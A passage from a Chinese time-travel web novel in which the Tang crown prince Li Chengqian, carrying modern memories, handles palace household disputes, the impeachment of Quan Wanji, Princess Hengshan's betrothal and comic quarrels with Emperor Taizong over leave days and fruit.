送走皇帝,李承乾去丽正殿看媳妇儿,或许是苏氏坦诚相见,让李承乾想起过往,他在腿瘸之后,也被当做弃子,同苏氏有了惺惺相惜之感。 苏氏以为生了孩子之后,容色衰败,恩宠也会跟着败落,没想到不仅没有丝毫影响,她和太子的感情蜜里调油,此前为即将进宫的两位侧妃忧虑,眼下倒是没那么多的不安,连噩梦都少了许多。 李象一如既往,晨昏定省,给父亲和太子妃请安,太子妃有了自己孩儿,太子妃身边宫人话说得更难听,李象的心态有些不太好。 每日查功课的时候,李承乾明显察觉到李象的情绪变化,两个孩子,都是他的心头肉,他此刻也开始陷入纠结。 看着孩子良久,李承乾却不知道该说些什么好,爱需要财富和权力维护,可他的财富和权力真的偏向李象,是致命的毒药。 除非他效仿武则天,杀干净高祖一脉除皇帝外的子孙,再杀干净他这一脉平辈所有兄弟,最后剪除掉李象所有兄弟,才能保证李象绝对的继承权。 太疯狂了,实在是太疯狂了。 “阿耶不比觉得为难,道理儿都懂,儿缓两天,也就没事儿了。” 李承乾苦笑一声,将孩子揽过来,道:“为父当年也是这样,每每遇到痛苦,缓两天,缓两天,最后活活把自己逼疯了。” 李象道:“阿耶,儿和您是不一样的,您是帝后之子,早早的被立为太子。儿母亲只是一个宫女,身后没有任何势力,想要平安一生,就要接受注定平凡的命运。” 李承乾紧紧抱着自己的孩子,默默垂下泪来,深深感觉到了他在这个时代的无力。 若他不在大唐,在另一个时空的华夏,他名下的财产完全可以一分为二,公平公正的给两个孩子。一样的爱着两个孩子,将他们培养成材。 “阿耶,不哭了,不哭了。” 李象抬头给父亲擦眼泪,父亲实在想多了,他难受单纯是太子妃身边宫人说话太难听。 父亲不可能只他一个孩子,比起旁人生下父亲的嫡长子,他更愿意父亲的嫡长子从苏家太子妃肚子里爬出来。 毕竟,他同父亲、太子妃,他们三个曾在东宫共患难,只要他不去争权夺利,太子妃不仅不会跟他为难,还会主动对他好。 第233章 清理门户 “太子妃产子之后,太子恩宠更胜从前。听宫人说,太子妃月子里,殿下日日前来看望,亲自为太子妃奏乐解忧。太子妃莫要忘了,这一切都是苏家的功劳。” “听说?”苏氏心下冷笑,苏家做的那些事情,她实在不知苏家有什么功劳在里头? “听谁说的?母亲可知道,东宫在禁中,禁中之事,谁敢乱说?洗三礼已经结束,母亲可知我为何单独将您留下来?” 听苏氏语气不善,苏夫人心下一冷,道:“太子妃攀了高枝,就不认娘家了?” 苏氏不与母亲废话,抚掌三声。她如今为人母,自然要为儿子做打算。 苏家干得那些恶心事,在太子那里是过不去的坎儿,她若不主动将苏家留在东宫的人清理出去,由着这些人闹腾,往后他们夫妻情分,迟早折在这些闲言碎语之中。 她和太子有共患难的情分,李象也有,太子要处理几个婢女,不过一句话的事情,只不过顾及她的颜面,她若是什么都不做为,就是不知好歹了。 苏夫人看到进来的四个人,有些不明所以,问道:“这些,不都是太子妃的陪嫁婢女?” 苏氏点点头,“一同陪嫁进来的还有我的乳母,只不过她说话不怎么谨慎,我早早地将她打发出去了。可惜杀鸡并没有达到儆猴的目的,这几个婢女阳奉阴违,平白的惹是生非,我这里是留不得她们了。” 苏夫人道:“我不明白太子妃的意思。” 苏氏道:“她们数次在我面前讨论皇长孙出身,言语之间颇为不屑,我多次呵斥,她们从不放在心上,依旧我行我素。我面前尚且如此,我看不到的地方,指不定做的多过分。我询问有关皇长孙之事,她们众口一词,但我询问宫人,又是另一个答案。” 苏夫人冷笑道:“所以,太子妃想干什么?” “母亲,您说这样的奴婢留在身边做什么?她们心中,我不是主子,也就不必在我身边伺候,她们是母亲为我寻来的,就请母亲带回去。” “你……” 如此奇耻大辱,苏夫人猛地起身,抬手就要去打。 苏氏新挑出来的婢女,眼疾手快,一把握住苏夫人手腕。 “苏夫人,太子妃嫁入东宫,姓苏却不再是苏家的人了。君臣有别,您可不要以下犯上。” 言罢,她一把甩开苏夫人。 “皇长孙什么出身,就算太子如何宠爱,那也是改变不了的。” 苏氏冷睨了一眼苏夫人,道:“内宅之中子凭母贵,内宅之外的家族,子凭父贵。母亲,你可不要忘了,他叫李象,他姓李,陛下的李,普天之下,除了陛下和太子殿下,没有任何人有资格质疑他的出身。” “你这个逆女!” 苏氏指了指两列站着的四个婢女,“母亲把人带走,对外就说她们到了年纪,不好误了嫁人的好年华,为皇孙积福,送她们出去嫁人。” “好!好!好!” 苏夫人一连说了三个好,看着苏氏的目光满是冷意。 “太子妃当真仁善,倘若我不愿意将她们带走呢?” 有人在耳边时刻提点,苏氏都忘恩负义,没人在耳边提点,苏氏心里就更没有苏家了。 “太子妃难不成,要强迫你的亲生母亲?” 苏氏淡淡道:“如此,我亲自向陛下请命,送她们出去嫁人。陛下若是要细问,我也只能向陛下请罪。我是太子妃,顶多御下不严,我刚刚诞育皇孙,殿下对我爱重非常,于情于理,陛下都不会处罚我。苏家的婢女目无天威,议论皇孙,父亲估计又要出京去做刺史了。” 她可以直接处置这些个婢女,但如此做,达不到威慑苏家的目的,让母亲自己把人带出去是最好的。 再有两个月,东宫添两位侧妃,清河房家一个破落户,不成气候,京兆杜家的那位,不可小觑。 城南韦杜,去天尺五! 杜侧妃的堂兄杜荷,还是太子宠臣,她必须是毫无挑剔的太子妃,这些人留在身边,迟早是祸患。 “事情轻重缓急,您自个儿思量。说不定父亲没有机会出去做刺史,南昌长公主那样尊贵的身份,可都出京了。” 苏夫人痛心疾首,垂泪道:“你这是仗着太子宠爱,不把娘家人当人看了。” “伯父为前魏王献策的时候,我与太子被禁足东宫的时候,苏家把我当女儿看了吗?我担惊受怕这么多年,方知殿下不曾因苏家迁怒于我。母亲,您要是我,还会留着娘家放在自己身边的祸害,恶心一心待自己的夫婿吗?” 苏夫人道:“没有娘家帮衬,你这个太子妃能做多久?” 苏氏反问:“大伯父帮衬了我什么?父亲对大伯父的作为又有过一句不满吗?” 苏夫人一时无言以对,苏氏指了指那两列婢女,“劳烦母亲,带她们出去婚配,嫁妆我出。” 事成定局,苏夫人不敢赌苏氏破釜沉舟,皇帝会怎么处置苏家,哪怕满心不愿意,还是咬着牙将人带走了。 毒瘤拔除,苏氏如释重负,整个人感觉到无比的轻松。 得知苏氏所做的一切,李承乾不由得感慨,苏氏多少有些惊弓之鸟了,苏勖主编的《括地志》成书之后,李泰搬进武德殿,他也是想着找刺客去弄死李泰,图谋夺位,对苏氏最大的恶心,也就是找个男宠,不愿意同苏氏同房。 洗三礼的翌日,制考正式开始,李承乾一头钻到贡院,整整一日,精神高度紧张,李承乾也累了个半死。 从前他还失眠,一日监考,失眠不存在的,第二天一大早起来,还要去贡院批卷子。 魏征作为门下省长官,协同礼部官员配合李承乾阅卷。 “殿下,浓茶少饮。”魏征一把夺了李承乾手上的茶,道:“浓茶伤胃,少饮!少饮!” 李承乾尴尬一笑,道:“师傅,我困。” 魏征拍拍李承乾背心,道:“困了去睡一会儿,这里臣替殿下看着,不会出什么事的。” 李承乾打了个哈欠,那就睡一会儿吧! 第234章 权万纪 李承乾只挑出来两位,上官仪和裴行俭,他记得这两位应该不是一届的,不过他回来之后,时间线和人物线什么的都乱完了,也就不觉得有什么奇怪的了。 阅完卷,李承乾整个人筋疲力尽,向皇帝告了假,回东宫整整睡了一日。 “监考阅卷,也就三五天功夫,瞧你这半死不活的样子,你这个身体,朕都不知道该怎么说你。” 魏叔玉打趣道:“陛下有所不知,殿下是天之‘骄’子,娇气些也是应该的。” 李承乾白了眼魏叔玉,“你是东宫的属官,怎么一个劲儿埋汰我?” 魏叔玉向皇帝拱手,“臣是大唐的官员,只忠于大唐社稷。” 李世民笑道:“上次同你说,衡山公主的婚事,你同你父亲商量的如何?” 中秋节庆,东宫诞育皇孙,李世民赐宴大臣,同时封了兕子为晋阳郡公主,二十一公主为衡山郡公主。 好好的,提这个话题,魏叔玉忙道:“回陛下,臣觉得臣长公主太多,配不上公主。” “你这是不愿意等衡山公主?” 赌长孙家,李世民不想赌了,还是按照原计划,衡山公主许嫁魏叔玉。 “不是,臣不是这个意思。陛下,臣只是觉得,臣和公主差了一代人,怕将来公主下嫁,臣和公主说话说不到一块,怠慢了公主。” 李世民笑道:“你这还是不愿意啊!” 魏叔玉吓得背心发凉,皇家的公主可轮不到他挑。 “陛下,臣真的不是那个意思。这种终身大事,陛下为何不问问公主的意思?” 李世民道:“看样子,你的婚事,魏征问你了?” 魏叔玉点点头,“父亲想要同山东王家结亲,臣不愿意,父亲就没有再提此事了。” “为何不愿?” 魏叔玉道:“父亲清廉,魏家出不起五十万钱的礼金。” 李世民闻言,哈哈一笑,“出不起,他可以借。” 魏叔玉尴尬一笑,“父亲的俸禄,不贪不占,借了他还不起。” 李世民道:“衡山公主下嫁,不用你父亲去借钱做礼金。” 李承乾抿着茶汤,并不插话,李唐的亲戚关系,突出一个乱,魏叔玉长姐嫁的是高祖十四子,他的叔父霍王李元轨,按照辈分来说,他可以唤魏征一句外祖父,衡山唤魏叔玉舅父。 “此事就这么定了,你和衡山的婚事,朕改日同你父亲商议。” 话说到这个份上,由不得他拒绝,魏叔玉起身谢恩。 送走魏叔玉之后,李承乾忍不住发问:“您不是决定衡山嫁长孙诠吗?怎么又改主意了?” 李世民道:“辅机的心思深,朕不想冒那个险。” 李承乾听懂了,皇帝这是不愿意冒险。 不出意外,将来他登基是不需要辅政大臣的,长孙无忌在贞观朝苟了十七年,最后五年党同伐异,干得风生水起。 李世民做皇帝,尚且不能让长孙无忌的野心熄火,他将来为君,仗着元舅的身份,长孙无忌又如何能坐得住? 永徽一朝,长孙无忌大权在握,不需要拿长孙诠做文章。谁能保证,他李承乾登基,长孙无忌不会用长孙诠达成某种目的? “你也觉得衡山嫁魏叔玉不合适?” 李承乾点点头,混过新时代,这个年龄差,在他看来着实有些大了。 “那你方才为什么不说?” 李承乾道:“臣不说,是因为臣从前年之后而来,魏师傅这一脉子孙,贯穿大唐王朝的始终,他留下的清廉简朴的家训,魏家儿郎奉行到底,后代儿郎没有大才却有品行。从已有的历史看,魏家的确是个好去处,比嫁长孙家风险小多了。” 李世民抚掌,道:“那不就是了?早知道魏征儿孙这么成器,朕绝对不会悔婚,衡山一开始嫁魏叔玉,绝对不存在二嫁韦正矩,郁郁而终。” 这个事件,李承乾不想评价,衡山若是愿意嫁韦正矩,根本不至于说什么婚后郁郁而终。 只能说,一开始衡山对这门婚事都是反对的,被迫下嫁京兆韦氏。 衡山去世之后,韦正矩被冠以殴杀公主的罪名处死,京兆韦氏也遭了一次清理。 从这一系列事件看,完全就是有预谋的政治清洗。 衡山被敲骨吸髓之后,李治还以皇后之礼下葬衡山,哭死人丧给换人看,树立一个好哥哥形象。 李治粉丝对衡山的评价,高明的是看过的,清一色雉奴疼爱妹妹,妹妹不识好歹,不懂哥哥的苦心。 对此,李承乾只能说,祝愿评价的人都有一个李治哥哥,自己体验一把衡山的痛苦。 “叔玉今年十七,衡山才五岁,他还要等十年。” 李世民笑道:“原来你是心疼学生。” 李承乾点点头,自己学生,又是自己恩师之子,怎会不心疼? “不过,在未来二十五成家,已经算是非常早了,等一等无妨。” 皇家的公主,逃不开政治联姻,说什么等衡山长大了,按照衡山自己心意选择夫婿,那都是空话。 如此,倒不如挑一个家族有底蕴,儿郎有底线的家族,达到了政治联姻的目的,也能保住妹妹的安稳。 “权万纪上疏弹劾李恪耽于游戏享乐,你可知道?” 李承乾道:“臣这两天忙着阅卷,当然不知。父亲,您要如何处置?” “按照你之前的进言,朕没有第一时间申饬李恪,叫韦挺去查这件事了。” 李承乾思索片刻,道:“《全唐文》里面收录了魏师傅的一篇奏疏《辨权万纪劾房玄龄王珪考官不平疏》,父亲可还记得?” 李世民道:“记得,贞观三年,房玄龄和王珪执掌中央和地方官员的考核,权万纪上书弹劾二人考核中存在不公平,朕派巡按御史查问此案,王珪对调查结果不服,上书陈辩,朕又将该案交付侯君集查办。魏征上奏说:‘房玄龄和王珪都是国家的重臣,二者因忠诚正直而被委以重任,他们考核的人太多,即使有一两个人考核偏失,也不是因为他们徇私舞弊造成的。朕若因为这些小问题查问,便是对他们不信任,臣失信于君,则难当重任。 况且,考核从开始到结束,权万纪始终在考堂上,如果确有违反法度的事情,完全可以当场指正。权万纪当时发现,却并不阻止和更正,事后因自己未能通过考核,才出来纠缠此事,弹劾考官,纯粹是为了泄私愤,而非诚心为国家,这样的行为如果得到支持,只会离间君臣,损害社稷,既无益于朕,也有损于大臣。’朕听了魏征的话,这才将此事放下。” “如此可见权万纪此人,沽名卖直,没安好心,若李恪耽于游戏享乐所查不实,权万纪污告皇子,当严惩。贞观以来,父亲察纳雅言,这原本是有利于大唐社稷的好事,如今被有些人弄得变味儿了。这种不正之风若不能及时纠正,现在害的是父亲的骨肉,发展下去,诬告成风,害的就是朝廷社稷。 父亲可记得张蕴古?李好德一案,张蕴古任职大理丞,放在京师也是高官,李厚德任了张蕴古原籍相州刺史又能如何?张蕴古用得着去巴结李厚德一个地方官,徇私李好德一案吗?况且事后查明,张蕴古的确是被冤杀的,权万纪这种人不收拾,往后就会死更多的张蕴古。” 第235章 尉迟宝琳的疑惑 褚遂良拿着文书,百思不得其解,向房玄龄问道:“这个权万纪没得罪过太子吧?或者说太子同吴王恪私交何时如此深厚了?” 房玄龄道:“不用问那么多,陛下要怎么处置,那就怎么处置。” 贞观朝至今,这还是第一遭,因为大臣上疏弹劾皇子,被要求有司严肃处理。 “这可不是好兆头,这就说明往后,进言不再是无罪了。” 房玄龄听得眉头一皱,纠正褚遂良:“进言一直是无罪的,有罪的是借进言,贬斥他人,踩着他人的骨血往上爬。” “不错!”岑文本跟着附和:“关于权万纪进言之事,当初张蕴古的案子就是一个例子。张蕴古枉死,就应该追究权万纪的罪责。” 高士廉道:“权万纪一句话,害死一条重臣的性命,陛下没有严厉追究此事,以至于后来更多的人学习权万纪。那于志宁和杜正伦弹劾东宫,难道没有夸大其词的意思?” 阎立本道:“权万纪之前就弹劾过吴王和齐王,那一次陛下手诏申饬,那时太子殿下主政尚书省,将手诏拦下了。劝说陛下应该先遣人调查弹劾事件的真实性,事后证明,齐王游戏享乐是夸大其词,吴王恪肆意践踏民众庄稼,纯属污蔑。当时,就此事只是申饬了权万纪几句,并没有进一步处罚。” 杨师道开口:“太子殿下的意思,这一次倘或跟上一次一样,就要以诬告之罪,追责权万纪。” 房玄龄道:“争执那么多没用,陛下和太子殿下有了明确的指示,且附和朝廷各例规章,那么我们就按照君上的意思,处置此事就是了。权万纪是朝廷命官,追责文书,最后还是要陛下御览。” 皇帝登基初期,广开言路,雅纳谏臣,直言进谏成为大臣们快速上升的一条渠道,一开始确实涌现出一堆有识之士,可随着时间的推移,直言上疏成了政客钻营的手段。 贞观十年前后,皇帝抬举李泰,东宫就频繁被弹劾,至此已然演变成党派斗争的工具。李泰失势,也涌现了一堆弹劾魏王李泰的言官,不过皇帝并没有采纳。 如今朝中只东宫一家,皇帝偏向太过明显,没个正当理由,谁也不敢弹劾东宫。 东宫维护藩王,权万纪这一遭栽跟头,往后没有事实依据,藩王也是不能随便弹劾的。 物伤其类,众大臣何尝不怕,这群人弹劾不了皇子,又把矛头对准他们? 弹劾皇子,皇帝可以不采纳,采纳了也多是申饬,或者迁个王爵,他们不是皇帝儿子,弄不好丢官去职都是轻的,谁都不想落一个张蕴古的下场。 李觉出生,李承乾暂时不用去尚书省当值,词典编撰基本结束,一直在东宫赋闲。权万纪一案掀出来风浪,李承乾知道的不多,此事还是尉迟宝琳日常诉苦,顺便提起。 预料之中事,有张蕴古那条命垫在那里,朝中没人不慌,很多事情,只要有人撕开一个口子,那就一场轩然大波。 魏征因敢于进言得到重用,就有无数的人觉得自己是下一个魏征,学魏征学得又不像,闻到味儿就一拥而上,扮虎不成反类犬。 “殿下,您和吴王、齐王很熟吗?” 李承乾道:“不怎么熟,你为何这么问?” 这话是真的,都是皇子,可他多了一个太子的身份,无论是住处还是教育体系,他都具有很强的独立性。 “不熟,殿下为何维护吴王和齐王?” 李承乾笑笑,这傻小子不知受了谁的忽悠,来这里套他的话。 “宝琳,我从来不是维护谁,是探求事情的真相。若吴王和齐王真的行了不法之事,自有朝廷律法处置,届时我不会多说一句。” 尉迟宝琳若有所思点头,“我能再问一个问题吗?” 李承乾点头,“你说!” “魏公说话那么难听,在朝廷上时常让陛下很下不来台,很多人都不怎么喜欢他,您为什么那么喜欢他?” “很多时候,难听的话不一定是害你,好听的话恭维背后是刀子。” 尉迟宝琳听得不是很懂,又问:“那您为何要把孔公……” “我刚才说过了,有的人说难听的话,是恨铁不成钢,想让你成材,有些人说难听的话,就是踩着你展示他自己的高尚,以此达到某种目的。要你成材的人,话说的难听,却是就事论事。后者只为自己沽名,为了自己的前途,图的是升官发财。我的意思,不是说图升官发财是错的,人向往财富和尊贵,这没有错,错在踩着别人的骨血向上爬。” 尉迟宝琳道:“那么,殿下如何辨别对方目的如何?” 李承乾道:“在于他是否就事论事。” “原来如此,虽然臣还是听不太懂,但臣也明白了,臣学不来魏征。” 李承乾笑道:“谁要你学魏师傅了?” 尉迟宝琳道:“没人让臣学魏公,那日臣和父亲去国舅府里做客,吃了酒,也不知怎么就聊起了魏师傅,臣问国舅殿下为何喜欢魏公,国舅让臣问您。” 李承乾暗暗摇头,尉迟父子这是给长孙无忌坑了,东宫宠臣没有姓长孙的,他对长孙无忌,一直以来,也只是表面上的尊敬和亲近,从不交心,长孙无忌这是借尉迟宝琳,探查他的喜好,培养长孙家的人。 “宝琳,你不需要学任何人。魏师傅的好你学不来,你的好也不是魏师傅能学来的。” 闻言,尉迟宝琳大喜,瞪大眼珠子不停的问:“真的吗?真的吗?臣真的那么好?殿下您不知道,父亲他一直喊臣蠢才。” 李承乾抿嘴轻笑,拍拍尉迟宝琳肩膀:“宝琳啊!你要明白一个道理,儿子都是别家的好。陛下常说我,小胳膊小腿,没你一半皮实。” 尉迟宝琳道:“这是实话,殿下您不知道,家里那老爷子打臣可狠了,吊起来打的,臣的皮实都是打出来的。” 李承乾尴尬一笑,身体素质好坏,可不是挨多少打练出来的。 “鄂国公是猛将,看你这么活蹦乱跳,他老人家没下狠手,也就吓唬吓唬你。” 尉迟宝琳这就不赞同了,道:“殿下,您是没瞧见家父打人的样子,上次臣把字典甩过去,他追了臣三条街。” 李承乾不知道该咋说,把字典砸在父亲脸上,放在二十一世纪也很炸裂的好不好?何况封建时代,讲究三纲五常。 “九月初发行《贞观词典》,臣第一时间买一本。” 李承乾暗道:然后回去继续摔到尉迟恭脸上? 第236章 逝去的水果自由 “权万纪弹劾吴王恪一案,韦挺已经查清楚了。月前吴王恪幼子染病,形势危急,他向上天祈愿。幼子病愈以后,宴饮歌舞三日不绝,以此感谢上天,这才召来权万纪上疏。” 李世民将有司审理的文书递给李承乾,又道:“权万纪确实夸大其词了,却不算无中生有,以诬告之罪论处,有些过了。” 李承乾看着文书,皇帝的话不无道理,处以诬告之罪不妥,可就这么放了权万纪也不妥。 “言过其词,有诽谤之嫌,无事生非之徒,贬他去松州做个县丞,以观后效,算是给他一个教训。” 李世民点头默认,又道:“青雀上疏,想要来京师拜谒。” 前日皇帝同他说侯君集在安市收受大族贿赂,又牵扯到博陵崔氏,年节前爆出来,李泰这个越王就做不下去了,继续被贬,年节回不来京师,皇帝想要事发前看看儿子,能够理解。 “父子天伦,人之常情。” 李世民松了口气,从父子之情上,李承乾不在乎李泰进京,从政治考量,李承乾心里会不舒服。所以,在做决定之前,他要问询李承乾的意见。 “前日看你郁闷不乐,所为何事?” 李承乾叹气,“我想吃车厘子。” 李世民:??? “车厘子?那是什么东西?想吃叫典膳做给你吃的就是了,需要什么材料,东宫没有的,朕这里给你搜罗。” 李承乾道:“车厘子就是大樱桃,原产地不在大唐,引进的果子,大唐属于北半球,六月份前后吃。” 李世民道:“这都九月份了,就是在未来你都吃不上了。” 说到这里,李承乾瞬间一把辛酸泪。 “北半球吃不上,南半球的可以吃啊!” 李世民:…… “我梦见另一个我,抱着车厘子,大快朵颐。” 看李承乾那一脸生无可恋的表情,李世民表示没眼看。 “不就是几颗大樱桃吗?你也太没出息了。想吃的话,明年四月份……” 明年三月出征薛延陀,四月份人不在长安,吃不了樱桃。 “后年,后年要你吃个够。” 李承乾纠正:“父亲,不是几颗车厘子,是一盆。” 李世民:…… “后年,朕让人给你摘两盆。” “那不一样!” 李世民道:“怎么就不一样了?车厘子不一样还是两盆不够?朕再给你加一盆,可好?” “后年?”李承乾终于抓住关键词了,抬头看向皇帝,“您真的打算御驾亲征薛延陀?” 李世民两手一摊,反问李承乾:“为什么不呢?” “那您真的打算带臣出征?” 李世民哈哈一笑,“不带你一起去,留你在长安穿朕的冕服上朝?尊朕为太上皇?你说到那个时候,朕是心甘情愿做太上皇呢?还是把你送去岭南吃荔枝?” 说到吃荔枝,李承乾脸上多了些许愁绪,“想当初,我也是实现过荔枝自由的人,如今是真的只能想。” 李世民笑道:“荔枝这个东西,你想吃的话,朕倒是给你弄一些。” 李承乾大为震惊,不可思议看着皇帝:“千里奔赴,只为几口荔枝,父亲,您学李隆基干嘛?有那个闲钱,留着练兵,巩固边防不好吗?” 李世民道:“你这是跟着尉迟宝琳待久了,学了他的傻气?朕真的想扒开你的脑袋,看看里面都装了些什么东西?朕真的干这种糊涂事,那房玄龄、魏征等人还不得死谏?” “长安这个气候,冬夏差异有些大,也不太适合种荔枝啊?” 李世民道:“新鲜的荔枝弄不来,干的不缺。” 李承乾眼睛发亮,地方进贡不在他管辖,他都不知道有这等好东西。 “东宫可以添一道菜,荔枝炖鸡,十分鲜甜。” 李世民顿了一顿,道:“你为什么这么执着吃呢?” “老百姓以食为天,喜欢吃不丢人吧?臣又不是噶礼那个官老爷,吃点儿也不犯法。” “噶礼?”李世民笑问:“同样是吃,为何噶礼吃了就犯法?” 李承乾思索片刻,回答皇帝:“噶礼吃的是金板烩龙虾,清水汆珍珠啊!” “别告诉朕,金板是黄金,珍珠是宫妃头上戴的珍珠。” 李承乾道:“陛下圣明。” 李世民笑得有些冷,“贪污,真是玩出了新花样。大唐官员还有姓噶的吗?这个姓噶的在何处任职?朕直接办了他。” 皇帝这是误会了,以为他说的是大唐哪一个官员,李承乾解释道:“办不了,他不是大唐的官员,他是一千年后的人。” “这样啊!”李世民道:“那没事儿了,大唐的事情,朕尚且不能尽善尽美,何况是后人的事情。” “父亲,没什么别的事情,臣先回去了。” “回去这么早干嘛?”李世民指了指案上一堆奏疏,“朕今天身体不适,你把那些个奏疏批了。” 李承乾道:“您说话中气十足,怎么看都不像是身体不适。魏师傅抱病,臣出宫去看看他。” 上次剑舞的事情,李世民还憋屈着,结果又来一遭,他没好气道:“魏征病了该请侍医,你又不是侍医,你去凑什么热闹?” “师傅有疾,做学生的去探病,人之常情。” 李世民道:“你身为太子,勤务政务,为君父分忧是你的职责所在,懒政怠政你还满嘴歪理?” 李承乾哭笑不得,皇帝真是喜怒无常的代表,他今日没上朝,也不知道早朝到底发生了什么事情,让皇帝如此窝火。 “要不,陛下跟着一起批,那奏疏的量也太大了。” 李世民去踹李承乾,被李承乾一个灵活走位避开了。 “你怎么这么懒?” 李承乾道:“父亲,觉儿出生,臣二十七日不用上朝,不用过问朝政。” 合情合理的偷懒,李世民气的咬牙。 “你这休沐到此为止,从明日开始,早朝以及两仪殿的午朝你照常参加,主持尚书省大小事宜。” “什么?” 法定休假没了?李承乾人瞬间炸了,“为什么?” “要么正常上朝,处理朝政,要么朕赏你一顿打,对外就说太子风寒,你天天窝东宫里头都行。” 第237章 休沐不可侵犯 赤果果的威胁,士可忍孰不可忍! “那陛下就打,打死了臣,臣正好回去。休养个把月,十一月份坐飞机去南半球吃车厘子。” 李世民的嘴角抽了抽,“就知道吃,幼稚的跟个孩子一样,真的很难看出,你是有一千多年阅历的人。” 李承乾长叹一声,意味深长道:“轮回是一个很痛苦的事情,有的时候偶尔梦见过往,都要缓很久。如果不能学会自我消化过往,尽快接受新的生活。最后就是人不人,鬼不鬼的。” 李世民听得心里头闷闷的,安慰李承乾道:“你想吃的东西不要那么天马行空,朕能搜罗来的,朕尽量满足你。” 李承乾摇摇头,“大唐能吃到的水果真的不多,八大菜系也都没形成,很多调料都还在海外,没有进入大唐,您满足不了我。” 李世民道:“朕都说了,是大唐能搜罗来的。” 李承乾道:“名字听着上档次,但不合口味,搜罗来也没啥用啊!” 李世民拍拍李承乾肩膀,“那你回去继续做梦,看人家吃车厘子吧!” “干荔枝记得送到东宫,臣要吃荔枝炖鸡。” 李世民一把抓住李承乾,“你以前没这么懒,折子批完了再去。” “休沐,休沐,臣在休沐。” 李承乾扒拉了半天,没扒拉开,认命的解释:“你的活儿,为什么要给臣?” 李世民大为不解,指了指案上的奏疏公文,“这是朕御案上的公文,朕能让你批阅,那是多大的恩宠。” “哈!” 老板想偷懒,把自己的工作丢给员工,还要说我这是看中你,李承乾都不知道该怎么吐槽。 “松开,疼,您自己天生神力,心里有点儿数行不行?” 李世民下意识松开,小胳膊小腿的儿子,捏碎了就麻烦了。 “天大的恩宠都不能阻止臣休沐,别说只是批奏疏,您想传位那也得等臣休沐结束。” 话音未落,李承乾转身就走,是非之地不兴久留。 “批不完,你下个月的俸禄就不用想了。” 俸禄? 他的俸禄现在可不少,基薪八千钱,还有皇帝另外添的三万钱。 “这说的什么话,能为陛下分忧,是臣的荣幸。” 李世民扶额,未来到底是个什么世道,把李承乾教的这么没出息。 “你那个家庭,也不缺这点钱吧?” “不缺!”李承乾笑嘻嘻抱着奏疏到皇帝左下首的案子上,“有钱也不是说可以随便祸祸的啊!暴发户心态,打肿脸充胖子,用金钱装点,弥补自己在底蕴上得不足。正经有底蕴的家族,身上更多是一种道法自然的松弛感。” 搬完了奏疏,李承乾在位子上坐好。 “有的时候,纸醉金迷的荒唐,胆大包天的狂妄,都是在遮掩内心的惶恐不安,企图用这种荒唐,去掩盖即将覆灭的恐惧。所以,很多王朝初期,上位提倡节俭,爱惜人力物力,不轻易兴土木。王朝后期,国家衰落,朝廷败亡,上位却是声色犬马,挥霍无度。他们自己也知道,好日子没几天了,又无力改变现状,只能麻木自己,在浑浑噩噩之中等待死亡。” 李世民叹道:“朕也知道,这世间没有长盛不衰的王朝。你说后世,有没有谁可以打破这个魔咒。” 李承乾笑道:“不可说!不可说啊!” “朕乏了,先歇下,你批完了再回去。” 李承乾急忙道:“明日臣不上朝,休沐!” 法定节假日,神圣不可侵犯! “可以,朝议结束,你过来批奏疏。” 李承乾低头不语,他可没答应,明日天一亮跑路出宫,很久没去长孙家转悠了,他的便宜舅舅最近频繁试探,该去露露脸了。 李世民心安理得歇下,等李承乾回东宫,天色已晚,苏氏入睡,连李象都睡熟了。 长孙府 李承乾的到来,长孙无忌并不疑惑,他是元舅,还是东宫重臣,太子不来才让他疑惑。 “魏征病了,殿下没去郑国公府上?” 李承乾笑道:“回程的时候顺路去,这会子就不去了。” 长孙无忌将人迎入正厅,示意李承乾落座。 “殿下难得来一趟,可是遇到麻烦了?” 李承乾眨巴眨巴眼睛,满脸不可置信的看着长孙无忌,“舅父这话说的,没事儿我就不能来看看您老人家?” 长孙无忌暗暗吐槽:魏征病了,不去魏征府上,先跑他这儿来,怎么看着都没憋什么好。 “有事说事。” 李承乾笑道:“我这休沐没到期,陛下就嚷嚷着要我上朝,我说什么都不肯去,他就扣人到甘露殿批奏疏。您说说,这像话吗?” “我明白了,你过来躲陛下的。” 李承乾道:“我可没答应他朝议结束批奏疏。” 长孙无忌道:“你答不答应不要紧,陛下说没说才是要紧的。” 李承乾明白长孙无忌的意思,皇帝言出法随,别说让他批奏疏,就是要他去死,他也得谢主隆恩。 “帮助批阅奏疏,即便你是太子,这也是荣宠。” 李承乾道:“陛下高兴了那才是荣宠,不高兴了那叫僭越。” 长孙无忌幽幽一笑,“怪不得年节殿下在三省大显神威,如今批个奏疏都要躲。” 太子不可以无能,有能耐也不能太惹眼,必须要恰到好处,涉及到君王权柄,该懒的时候,就得懒。 “舅父,那只猞猁长得如何?” 长孙无忌看着李承乾眼底的跃跃欲试,不禁打趣道:“承乾不是来看舅父的吗?你舅父坐在这里,问什么猞猁?” 李承乾道:“那行,我不看猞猁了,只看舅父。” 长孙无忌默了默,这话听着怪怪的。 “舅父也换茶汤了?” 他不是第一次来长孙家,之前长孙家的茶汤都是咸口为主,类似于内蒙的奶茶,口味还要重一些。 “咱俩吃的不是一类茶汤,我吃的是咸口茶汤,你的那个是淡口。知道你吃不惯咸口,特地给你换的。” 李承乾道:“还是舅父疼我。” 言不由衷,长孙无忌起身,道:“猞猁在后院,我带你去看。” “我同陛下要了干荔枝,改日舅父去东宫,我让典膳给您备一桌不一样膳食,保证让您眼前一亮。” 长孙无忌笑而不语,轻拍李承乾肩膀。 李承乾心里直犯嘀咕,老阴逼这个表情,万事得小心。 第238章 扣工资 “舅父还记得陛下送我的那只九节狼吗?它也长大了不少,就是看着呆呆傻傻的。” 长孙无忌点点头,谁都能不记得,他不可能不记得,李世民在送礼物之前,特意过来跟他炫耀一番。 “舅父许久没去东宫,下次去的时候,我抱它出来给舅父看。” 长孙无忌道:“魏征病了,今日原是要去看他,殿下相陪吗?” “我跟舅父说实话,暂时不想见魏师傅,舅父就不要为难我了。” 长孙无忌默了片刻,似乎是没想到李承乾这个回答。 “你不愿意见魏征,这倒是奇了。” 李承乾道:“魏师傅固执,他主张不以言获罪,我却办了权万纪。这会子去见他,指定要听他一堆的话,实在烦得很。” 长孙无忌道:“此事你做的的确不妥当。” “请舅父明言。” 长孙无忌道:“这朝中可不止一个权万纪,靠着卖直得了一个刚正的名声,哪怕没有真才实学,也依然拿着一份俸禄。你给了权万纪闷头一棒,其他人怎么看?承乾,那些个人犯不着你出这个头。” 